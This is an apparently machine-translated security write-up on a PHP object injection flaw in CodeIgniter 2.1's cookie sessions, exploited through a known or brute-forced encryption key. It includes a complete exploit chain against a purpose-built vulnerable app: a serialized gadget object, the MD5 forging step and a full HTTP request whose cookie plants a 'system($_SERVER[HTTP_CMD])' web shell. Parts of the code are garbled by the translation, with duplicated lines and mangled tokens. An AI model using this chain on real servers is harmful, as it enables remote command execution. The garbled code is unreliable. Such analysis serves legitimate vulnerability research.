Lxj616 2014/04/22 glory
The original link: http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/
0 x00 background
Hi, Codeigniter is one of my favorite PHP frameworks. Like everyone else, I learned PHP MVC programming in this framework. Today, I decided to take a look at Codeigniter’s PHP object injection vulnerability.
I will focus on Codeigniter’s Session mechanism in the rest of the presentation. All I will analysis the method of method in CodeIgniter/system/libraries/Session. The PHP file. I used Codeigniter version 2.1 in this study.
0x01 Codeigniter Session Indicates the Session mechanism
Codeigniter uses PHP’s serialized method method to store variables in the user Session Session. But the Codeigniter Session Session mechanism doesn’t work as expected. It stores the session variable in the client’s cookie, mostly on the hard disk rather than the user’s cookie. I don’t know why they did it.
The following account is taken from codeigniter’s documentation
The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation. The Session class class stores the serialized (optionally encrypted) information of each user's Session in a Cookie. Even if you do not use an encrypted session, you must set an encryption key in the configuration file to prevent the session contents from being tampered withCopy the code
In this article we will examine the possibility of session data tampering and related issues.
0x02 Codeigniter Session Indicates the Session data structure
Let’s start reading some code. But for now let me explain how Codeigniter creates session sessions and puts variables into session (actually cookies! -).
By the way, I’ll use CI shorthand instead of Codeigniter in the next article
Let’s start by reviewing the code for the constructor in the Session class. The following code is part of the __construct method
#! php // Run the Session routine. If a session doesn't exist we'll // create a new one. If it does, // We'll update it. If the session doesn't exist, we create a new one. If it does, we update an if (! $this->sess_read()) { $this->sess_create(); } else { $this->sess_update(); $this->_flashdata_sweep(); $this-> _sweep(); // Mark all new flashdata as old (data will be deleted before next request) $this->_flashdata_mark(); $this-> _sess_GC (); log_message('debug', "Session routines successfully run");Copy the code
The CI tries to read the data value from the cookie of the current client. If that fails we create a new one, assuming we don’t have any cookies right now. So CI tries to call sess_create. The following code is captured in the sess_create function of the Session class
#! php function sess_create() { $sessid = ''; while (strlen($sessid) < 32) { $sessid .= mt_rand(0, mt_getrandmax()); } // To make the session ID even more secure we'll combine it with the user's IP $sessid.= $this->CI->input->ip_address(); $this->userdata = array( 'session_id' => md5(uniqid($sessid, TRUE)), 'ip_address' => $this->CI->input->ip_address(), 'user_agent' => substr($this->CI->input->user_agent(), 0, 120), 'last_activity' => $this->now, 'user_data' => '' ); If ($this->sess_use_database === = TRUE) {$this->sess_use_database === TRUE; $this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata)); $this->_set_cookie(); $this->_set_cookie(); }Copy the code
Sess_create is responsible for creating sessions and sending them to users. As you can see, it creates an array to store the session_id, IP address,user-agent, and so on in the session. When the UserData array is ready, it calls another function in the Session class, _set_cookie(). Now it’s time to analyze the code for the _set_cookie function
#! php function _set_cookie($cookie_data = NULL) { if (is_null($cookie_data)) { $cookie_data = $this->userdata; $this->_serialize($cookie_data); $this->_serialize($cookie_data); if ($this->sess_encrypt_cookie == TRUE) { $cookie_data = $this->CI->encrypt->encode($cookie_data); } else {// If encryption is not used, we provide an MD5 hash to prevent userside tampering // If encryption is not used, $cookie_data = $cookie_data. Md5 ($cookie_data.$this->encryption_key); } $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time(); Setcookie ($this-> sess_cookie_data, $expire, $this->cookie_path, $expire, $this->cookie_path) $this->cookie_domain, $this->cookie_secure ); }Copy the code
Here is a comment about the code
#! PHP // If encryption is not used, we provide an MD5 hash to prevent userside tampering // If encryption is not used, we use MD5 hash functions to prevent user tamperingCopy the code
CI uses MD5 to encrypt the serialized session data. He uses encryption_key as the salt. Then append the MD5 encrypted result to $cookie_data
#! php // // $cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);Copy the code
I want to analyze the above code. $cookie_data will be sent to the client. It contains IP addresses, user-agents, and so on. CI uses encryption_key as the key to add the salt. As an attacker we know the result of $cookie_data and MD5 encryption because CI appended the MD5 calculation to $cookie_data and sent it to us. Let me show you the exact numbers.
ci_session=a:5:{s:10:"session_id"; s:32:"e4f2a5e86d65ef070f5874f07c33b043"; s:10:"ip_address"; S: 9: "127.0.0.1"; s:10:"user_agent"; S: 76: "the Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; + the rv: 28.0) + Gecko / 20100101 + Firefox / 28.0 "; s:13:"last_activity"; i:1397754060; s:9:"user_data"; s:0:""; }550d610647f0ee0d019357d84f3b0488Copy the code
You can see the ci_session variable above. It’s cookie variables and behind the data value you will see 550 d610647f0ee0d019357d84f3b0488, this is the result of the md5, if we try to reverse analysis.
Note: 32-bit alphanumeric (no equal sign) can be identified as MD5, and the above mechanism analysis also indicates that md5 is used
The value of $cookie_data variables is:
{s: 10: "session_id"; S: 32: "e4f2a5e86d65ef070f5874f07c33b043"; S: 10: ip_address; S: 9:127.0.0.1; S: 10: "user_agent"; S: 76: "the Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; + the rv: 28.0) + Gecko / 20100101 + Firefox / 28.0 "; S: 13: "last_activity"; i:1397754060; S: 9: "the user_data"; S: 0: ""; } $this->encryption_key = is what we are trying to get!Copy the code
= 550 d610647f0ee0d019357d84f3b0488 md5 calculation results
Apparently we can brute force crack the salt used for the probe, I mean the encryption key.
An example assumes the following definition
$this->encryption_key = WE DONT NOW! $cookie_data variables = a:1:{s:4: "test"; i:1; }adf8a852dafaf46f8c8038256fd0963a adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test"; i:1; }'.$this->encryption_key)Copy the code
You can use brute force to explore the encryption_key! To brute force this MD5, you can treat the encryption_key as the plaintext you want, so the value of the $COOKie_data variable becomes salt, And then of course reverse the FORM of the MD5 function from MD5 (plain-text, SALT) to MD5 (SALT,plain-text)
Note: The default md5 decryption tool is to give the ciphertext and salt and restore the plaintext
This is just an explanation. We’ll have a longer $cookie_data case in real life. As I mentioned earlier, to brute force MD5,$cookie_data is used as salt. Unfortunately HashCat does not support this type of salt key.
0x03 Codeigniter Session Saves and verifies Session data
We know how CI creates cookie data. Now we will examine CI’s cookie data validation system. As I assumed before, we don’t have a cookie. This time we include a cookie in the HTTP request. Let’s look at how CI detects and validates cookies. To do this, we need to understand the code for the sess_read() method in the Session class
Remember the Session class’s _construct method. It tries to read the cookie from the client using the sess_read method. That’s why I’m going to analyze the sess_read method
#! PHP function sess_read() {$session = $this->CI->input->cookie($this->sess_cookie_name); // No cookie? Goodbye cruel world! . / / no cookies? Fuck the cold world! if ($session === FALSE) { log_message('debug', 'A session cookie was not found.'); return FALSE; If ($this->sess_encrypt_cookie == TRUE) {$session = $this->CI->encrypt->decode($session); } else {encryption was not used, so we need to check the MD5 hash $hash = substr($session, strlen($session)-32); // get last 32 chars $session = substr($session, 0, strlen($session)-32); // Does the md5 hash match? This is to prevent manipulation of session data in userspace. If ($hash! == md5($session.$this->encryption_key)) { log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.'); $this->sess_destroy(); return FALSE; $session = $this->_unserialize($session); $this->_unserialize($session); // Is the session data we unserialized an array with the correct format? // Do we unserialize the session data in the correct format? if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity'])) { $this->sess_destroy(); return FALSE; } // Is the session current? // Is this the current session? if (($session['last_activity'] + $this->sess_expiration) < $this->now) { $this->sess_destroy(); return FALSE; } // Does the IP Match? // Does the IP address match? if ($this->sess_match_ip == TRUE AND $session['ip_address'] ! = $this->CI->input->ip_address()) { $this->sess_destroy(); return FALSE; } // Does the User Agent Match? // Does the user-agent match? if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) ! = trim(substr($this->CI->input->user_agent(), 0, 120))) { $this->sess_destroy(); return FALSE; } // Is there a corresponding session in the DB? // Is the session consistent in the database? if ($this->sess_use_database === TRUE) { $this->CI->db->where('session_id', $session['session_id']); if ($this->sess_match_ip == TRUE) { $this->CI->db->where('ip_address', $session['ip_address']); } if ($this->sess_match_useragent == TRUE) { $this->CI->db->where('user_agent', $session['user_agent']); } $query = $this->CI->db->get($this->sess_table_name); // No result? Kill it! // Not found? End!!!! if ($query->num_rows() == 0) { $this->sess_destroy(); return FALSE; } // Is there custom data? If so, add it to the main session array $query->row(); $query->row(); if (isset($row->user_data) AND $row->user_data ! = '') { $custom_data = $this->_unserialize($row->user_data); if (is_array($custom_data)) { foreach ($custom_data as $key => $val) { $session[$key] = $val; } } } } // Session is valid! $this-> userData = $session; unset($session); return TRUE; }Copy the code
The next code CI checks the session session variable and user-agents. Basically, CI wants to see the same user-agent and IP address. As we analyzed, CI writes those variables into the session session
Let’s examine the code for the _unserialize method
#! php function _unserialize($data) { $data = @unserialize(strip_slashes($data)); if (is_array($data)) { foreach ($data as $key => $val) { if (is_string($val)) { $data[$key] = str_replace('{{slash}}', '\\', $val); } } return $data; } return (is_string($data)) ? str_replace('{{slash}}', '\\', $data) : $data; }Copy the code
That’s right! It calls the unserialize method on user-supplied data, which in this case is a client-side cookie
0 x04 generalization
Before we move on to exploitation, I want to summarize what we’ve learned so far
CI uses the serialize and unserialize methods to store variables in Session. Dialectically, CI does not use a real Session. CI stores session variables on the client (cookie), not on the server (hard disk). CI detects tampering on the client by calculating MD5 to check whether the user-agent and IP address are consistent with session dataCopy the code
0 x05 summary
We hit a few snags
CI does not use destruct or wake up method Codeigniter toload libraries through the $autoload['libraries'] variable. If the Session class defines that array first, you can't touch the rest of the class. Because we are using the Session and CI initializes the Session class before the user loads the librariesCopy the code
Let me clarify. CI creates objects from classes in order. That means the class files in the System /core path will be created first. CI then looks at the $Autoload [‘libraries’] array and creates the objects again in order. Therefore, it is important to initialize the path of the session class in order to contact different classes
I wrote a codeIgniter app with a bug as an example. The rest of the lecture is all about that application
https://github.com/mmetince/codeigniter-object-inj, then click the bottom right hand corner of the download zip download, if you don’t clone
Now we can take advantage of the session integrity check flaw together with the Unserialize method
As you can see, we need to know encryption_key to exploit vulnerabilities to do bad things! There are two ways to do this.
1 - As I explained earlier, session data integrity verification takes advantage of MD5 weaknesses and CI failures together. Brute force it! I recommend this when you don't think encryption_key will be very long 2 - many developers publish their applications to Github without modifying the encryption_key. And people using that application usually don't modify the encryption_keyCopy the code
We now know that encryption_key is H4CK3RK3Y in this example, so let’s get started! $config[‘encryption_key’] = ‘h4CK3rk3y ‘; The Settings in the/application/config/config. PHP
http://localhost:8080/index.php/welcome
Copy the code
When I access the above URL, it returns the following HTTP response to me
HTTP/1.1 200 OK Host: localhost:8080 Connection: close X-powered-by: PHP/ 5.5.3-1Ubuntu2.3 set-cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_addre Ss % 22% 3 bs a9 22127.0.0.1%3 a % % 22% % 3 3 bs % 3 a10%3 a, % 22 the user_agent % 22% % 3 bs 3 a76%3 a, % 22 the mozilla % 2 f5. 28 x11 0 + % % 3 b + + Linux + x86_64 Ubuntu % 3 b % % 3 b + rv 3 a28. 29 + 0% Gecko % % 2 f20100101 + Firefox 2 f28. 0% 22% 3 bs % 3 a13%3 a 3 bi % 22 last_activity % 22% % 3 a1397759422%3 bs % 3%22 user_da a9%3 a ta%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/ Content-Type: text/htmlCopy the code
We’ve seen the HTTP header variable set-cookie. Let’s look at it
ci_session=a:5:{s:10:"session_id"; s:32:"b4febcc23c1ceebfcae0a12471af8d72"; s:10:"ip_address"; S: 9: "127.0.0.1"; s:10:"user_agent"; S: 76: "the Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; + the rv: 28.0) + Gecko / 20100101 + Firefox / 28.0 "; s:13:"last_activity"; i:1397759422; s:9:"user_data"; s:0:""; }30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/Copy the code
You can see that Expires dates and the maximum max-age are at the end of the string. They are not very important now, let’s get rid of them
ci_session=a:5:{s:10:"session_id"; s:32:"b4febcc23c1ceebfcae0a12471af8d72"; s:10:"ip_address"; S: 9: "127.0.0.1"; s:10:"user_agent"; S: 76: "the Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; + the rv: 28.0) + Gecko / 20100101 + Firefox / 28.0 "; s:13:"last_activity"; i:1397759422; s:9:"user_data"; s:0:""; }30f9db14538d353e98dd00d41d84d904Copy the code
Translator’s note: As shown above after irrelevant items are removed, the exploit can be removed because the cookie is received under CI logic
Now we will separate cookie and MD5 from that string just like CI
Md5 = 30 f9db14538d353e98dd00d41d84d904 Session data = a: 5: {s: 10: "session_id"; S: 32: "b4febcc23c1ceebfcae0a12471af8d72"; S: 10: ip_address; S: 9:127.0.0.1; S: 10: "user_agent"; S: 76: "the Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; + the rv: 28.0) + Gecko / 20100101 + Firefox / 28.0 "; S: 13: "last_activity"; i:1397759422; S: 9: "the user_data"; S: 0: ""; }Copy the code
We already know that CI puts user-Agent into session data as shown above. Session data is essentially a PHP array
Array ([session_id] = > b4febcc23c1ceebfcae0a12471af8d72 [ip_address] = > 127.0.0.1 [user_agent] = > Mozilla / 5.0 + (X11; +Ubuntu; +Linux+x86_64; +rv:28.0)+Gecko/20100101+Firefox/28.0 [last_Activity] => 1397759422 [user_data] =>)Copy the code
We know that CI checks IP addresses and user-agents after unserialize. But the object injection is complete before that check gets control. We can change it any way we want
Now it’s time to create the object class we’ll use to leverage. The following classes can be in our example application/libraries path finding: / application/libraries/Customcacheclass PHP
#! php <? php /** * Created by PhpStorm. * User: mince * Date: 4/18/14 * Time: 3:34 PM */ if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Customcacheclass { var $dir = ''; var $value = ''; public function __construct() { $this->dir = dirname(__FILE__)."/cache_dir/"; } public function set_value($v){ $this->value = $v; } public function get_value(){ return $this->value; } public function __destruct(){ file_put_contents($this->dir."cache.php", $this->value, FILE_APPEND); }}Copy the code
You can see that the __destruct method stores class variables in the cache.php file. The serialized version of Cacheclass will look like the string shown below
// O:10:"Cacheclass":2:{s:3:"dir"; s:15:"/tmp/cache_dir/"; s:5:"value"; s:3:"NUL"; }Copy the code
We’ll change it to the following form to write the eval run to the cache.php file
#! php <? php class Customcacheclass { var $dir = 'application/libraries/cache_dir/'; var $value = '<? php system($_SERVER[HTTP_CMD]); ? > '; } echo serialize(new Customcacheclass); O:16:"Customcacheclass":2:{s:3:"dir"; // Result // Result O:16:"Customcacheclass":2:{s:3:"dir"; s:32:"application/libraries/cache_dir/"; s:5:"value"; s:35:"<? php system($_SERVER[HTTP_CMD]); ? > "; }Copy the code
Now we need to calculate the true MD5 value for the constructed session data to be controlled by the integrity of the sess_read method
#! php <? php $b = 'O:16:"Customcacheclass":2:{s:3:"dir"; s:32:"application/libraries/cache_dir/"; s:5:"value"; s:35:"<? php system($_SERVER[HTTP_CMD]); ? > "; } '; $private_key = 'h4ck3rk3y'; echo md5($b.$private_key); echo "\n";Copy the code
Result is fc47e410df55722003c443cefbe1b779 we will add the MD5 in our new cookie value at the end
Host: localhost user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; Rv :28.0) Gecko/20100101 Firefox/28.0 Referer: http://localhost/ Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir% 2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55 722003c443cefbe1b779Copy the code
When you send the above HTTP request to CI you will see the following code appear in the cache.php file
#! php <? php system($_SERVER[HTTP_CMD]); ? >Copy the code